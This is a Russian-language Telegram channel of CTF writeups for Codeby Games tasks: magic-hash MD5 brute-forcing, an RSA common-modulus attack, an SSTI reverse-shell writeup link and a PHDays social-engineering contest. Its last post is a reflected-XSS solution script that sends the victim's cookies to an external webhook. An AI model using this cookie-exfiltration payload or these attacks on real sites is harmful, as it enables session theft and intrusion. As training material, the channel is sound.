Райтапы по CTF{2025}
2.84K subscribers
215 photos
25 videos
87 files
393 links
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ

💬 Наш ламповый чатик: @writeup_chat

✍️ По любому вопросу можно писать мне: @freenameruuuu

Таски решать тут: @writeup_ctf_bot
Download Telegram
Forwarded from Purple Chronicles (Hunter Biden)
Разбор задания "Минное поле" с платформы Codeby Games😎
https://telegra.ph/Codeby-Games-Minefield-writeup-09-05

Вернёмся к одной из самых опасных уязвимостей — SSTI. Вслепую поэксплуатируем инъекцию механизма шаблонов Jinja2 в приложении, написанном на Flask🐍, а для получения обратного шелла научимся использовать ngrok🥷
Приятного изучения!
#пентест #web #ssti
Please open Telegram to view this post
VIEW IN TELEGRAM
3🔥2
Увидел, как @while_not_False выложил лист ресурсов с задачками CTF

Не могу им не поделиться. Хакайте с удовольствием

What Is CTF Sites?

CTF Sites is the biggest collection of CTF sites, contains only permanent CTFs. I started this project more for myself in the beginning, like a cheat sheet but then I thought it would be good to make it publicly available, it would help a lot of people.

https://ctfsites.github.io/
🔥61
Доброе утро!

#WEB
Таск: Магическая админка
от
@exited3n

На Python

import time
from hashlib import md5


def is_valid_number(hashed_value):
return all(c.isdigit() for c in hashed_value[2:])


def find_valid_number():
start_time = time.time()
i = 0
while True:
hashed_value = md5(str(i).encode()).hexdigest()
hashed_value = md5(hashed_value.encode()).hexdigest()
if hashed_value[:2] == "0e":
print(f"{i} {hashed_value}")
if is_valid_number(hashed_value):
break
i += 1
end_time = time.time()
execution_time = (end_time - start_time) / 60
print(f"<b>Total Execution Time:</b> {execution_time:.2f} Mins")


if __name__ == "__main__":
find_valid_number()



На PHP

<?php
$time_start = microtime(true);
$i = 0;
while (1){

if (substr(md5(md5(strval($i))), 0, 2) === "0e"){
echo $i;
echo " ";
echo md5(md5(strval($i)));
echo "\n";
if (ctype_digit(substr(md5(md5(strval($i))), 2))){
exit();
}
}
$i++;
}

$time_end = microtime(true);
$execution_time = ($time_end - $time_start)/60;
echo '<b>Total Execution Time:</b> '.$execution_time.' Mins';

?>

#codebygames
👍8🔥3🤬1
#WEB

Введение в WebSocket от @cherepawwka, ТОП 15 на платформе Codeby

Описание от автора
В этой статье мы поговорим о том, что такое веб-сокеты и зачем они нужны, чем они отличаются от других способов обмена информацией между клиентом и сервером, а также напишем простой скрипт на Python🐍 — WebSocket client для решения таска с платформы CodeBy Games🚩

Оригинальный пост 📝

Читать: https://telegra.ph/Intro-to-WebSockets-05-02

#codebygames
Please open Telegram to view this post
VIEW IN TELEGRAM
😍5🔥32
Forwarded from Positive Hack Days Media
This media is not supported in your browser
VIEW IN TELEGRAM
На киберфестивале Positive Hack Days 2 мы предложим вам взломать нас 😏

Да, это не шутка. Мы проведем SEQuest — конкурс, в котором любой желающий сможет без последствий попробовать себя в роли хакера и проверить свои скилы в социальной инженерии. Ну а за успешное выполнение заданий мы щедро наградим участников.

😏 Что нужно будет сделать

Если коротко — выполнить семь заданий с разным уровнем сложности незаметно для организаторов, то есть нас. Вот они:

1. Изготовить копию бейджа организатора на свое имя.
2. На стойке регистрации получить настоящий бейдж организатора на свое имя.
3. Сделать футболку организатора или принести оригинальную.
4. Получить доступ к громкой связи мероприятия.
5. Получить уникальный стикер из штаба конференции.
6. Пройти в штаб организаторов и узнать пароль от Wi-Fi.
7. Получить доступ к прилавку с мерчем фестиваля.

Безусловно, есть базовые запреты: нельзя физически воздействовать на организаторов и входить с ними в умышленный сговор.

Безусловно, есть базовые разрешения: вы можете манипулятивно воздействовать на организаторов и вводить их в заблуждение, но исключительно для выполнения заданий конкурса.

😮 Как принять участие

Расписаться на стенде конкурса и получить полные правила (подробности — на сайте). Перед началом конкурса его организатор Антон Бочкарев, основатель «Третьей стороны», проведет базовый экскурс в социальную инженерию, который поможет участникам. Ну а дальше — дело за вами.

За решения заданий вы будете получать баллы, а те, кто займут призовые места, — получат мерч профи социальной инженерии. Ждем вас и не желаем удачи 🤓

@PHDays
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥42🤯1
#crypto
Алиса не знает алгебру

Автор: @Max_RSC (ТОП-10 на платформе Codeby Games)

Ссылка на задание 🚩

Прежде всего отмечу два важных момента:

1. Если вы не математик, для решения таска вам потребуется уверенный навык программирования на языке Python. Надеюсь, это понятно.

2. В процессе решения таска ни в коем случае не разрывайте соединение с сервером, иначе работу придется начинать по новой.

Подключаемся к серверу:

nc 62.173.140.174 11002


Мы получили значения N, e_1 и e_2. Скопируем их куда-нибудь — еще пригодятся.

В подавляющем большинстве случаев в тасках, где фигурирует RSA, мы имеем дело с реализацией одноименного алгоритма, имеющей ту или иную уязвимость. В данном случае уязвимость заключается в том, что используются две экспоненты e_1 и e_2 вместо одной e, как должно быть в RSA. Подобное "нововведение" сразу наводит на мысль о Common Modulus Attack.

Внимательно изучив скрипт, который нам предоставили организаторы, мы сможем понять логику работу сервера: одно и то же сообщение шифруется с использованием сначала одной экспоненты e_1 и модуля N, затем с использованием другой экспоненты e_2 и модуля N. На выходе получается не один шифртекст c как должно быть, а два разных шифртекста c1 и c2. Это серьезная уязвимость и в CTF мы еще не раз встретим подобные таски.

Возвращаемся к серверу. Про действия [1] и [2] в принципе можно забыть, так как для решения таска они не понадобятся. Выбираем действие [4]. Сервер отдает нам два шифртекста, каждый из которых представляет собой сообщение, зашифрованное с использованием одного и того же модуля, но разных экспонент. Думаю, вы уже сообразили, что эти шифртексты уязвимы для Common Modulus Attack. Давайте договоримся, что в данном случае первый шифртекст — это c1, a второй — это c2. Однако шифртексты нам даны в hex-формате. Значит, прежде чем мы сможем с ними работать, нужно перевести эти два шифртекста из hex-формата в base10. Сделаем это с помощью Питона:

c1_hex = '43e2b4c84aff770b7388499cc2af2535655de75aa333b5e97fbe1f45b626c9d5b09901a5863ff2da652018058a9e87110b721c40593ac4d36ccdf1b3933d5dd2'
c1 = int(c1_hex, 16)
c2_hex = '55e70b7b592aa36ec9a7d61e4bd7930d590447cc1a243f2aeba2ff132e42bd8dcc1a4fdfef8659ed5f9aa96724290f2cdc80a6e353849b3d51c1524b071cea34'
c2 = int(c2_hex, 16)


Теперь воспользуемся скриптом, который любезно расшифрует для нас ключ:

from libnum import *

def common_modulus(e1, e2, c1, c2, N):
a, b, d = xgcd(e1,e2)
if b < 0:
c2 = invmod(c2, N)
b = -b
if a < 0:
c1 = invmod(c1, N)
a = -a
m = (pow(c1,a,N) * pow(c2,b,N)) % N
return [m, a, b, d]

def pad(m, d, i, N):
if -d*4*i < 0:
f = pow(invmod(2, N), d*4*i, N)
else:
f = pow(2, -d*4*i, N)
return m * f % N

N = # сюда пишем нашу N
e_1 = # сюда пишем нашу e_1
c1 = # сюда пишем нашу c1
e_2 = # сюда пишем нашу e_2
c2 = # сюда нашу c2

m, _, _, _ = common_modulus(e_1,e_2,c1,c2,N) plaintext = n2s(m)
print(plaintext.decode())


Если на вашей машине нет библиотеки libnum, то для начала придется ее установить:

pip install libnum


Выполнив скрипт, мы получим расшифрованный ключ, который, разумеется, я вам не покажу, чтобы вы не жульничали, а сделали хоть что-нибудь самостоятельно и следовательно, научились чему-нибудь новому.

Возвращаемся к серверу и на этот раз выбираем действие [3]. Вводим расшифрованный ключ, после чего сервер отдаст нам флаг.

#codebygames
7🔥3🤯1
Ну что, кибер-котлеты, завтра встречаемся на пхд? Ставь фак, если идёшь
🖕20😢4🤨31🤔1
🔥7🥰42
Ищите ребятки, включайте OSINT, подсказка, 31 ряд

Буду тут 15-20 минут

Подсказка, зеленый бейдж
🔥4🖕32
Котятки, простите, бегу в 21 зал
3🖕2
В 21 очень скучно
🤔2🖕21
Ребята, кто хочет встретиться предлагаю в 16:30 справа от главной сцены

У меня будет зеленый бейджик
👍8🖕21
#WEB Клиент всегда прав
Reflected XSS

Ссылка на задание 🚩

От: @exited3n, автор канала @pt_soft


import requests
import json

webhook_api_url = 'https://webhook.link/api/new'

json_hook = json.loads(requests.get(webhook_api_url).text)
webhook_url = json_hook['routes']['webhook']
webhook_inspect_url = json_hook['routes']['inspect'].get('html')
webhook_inspect_json = json_hook['routes']['inspect'].get('api')
webhook = requests.post(f'http://62.173.140.174:16013/?report=http://62.173.140.174:16013/?search=<script>document.location="{webhook_url}?"%2bdocument.cookie</script>')

webhook_data = requests.get(webhook_inspect_url)
webhook_json = json.loads(requests.get(webhook_inspect_json).text)
flag = json.dumps(webhook_json['callbacks'][0]['args']['flag'], indent=4)

print(f'Open URL in your browser: {webhook_inspect_url}')
print(flag)

#codebygames
Please open Telegram to view this post
VIEW IN TELEGRAM
👍52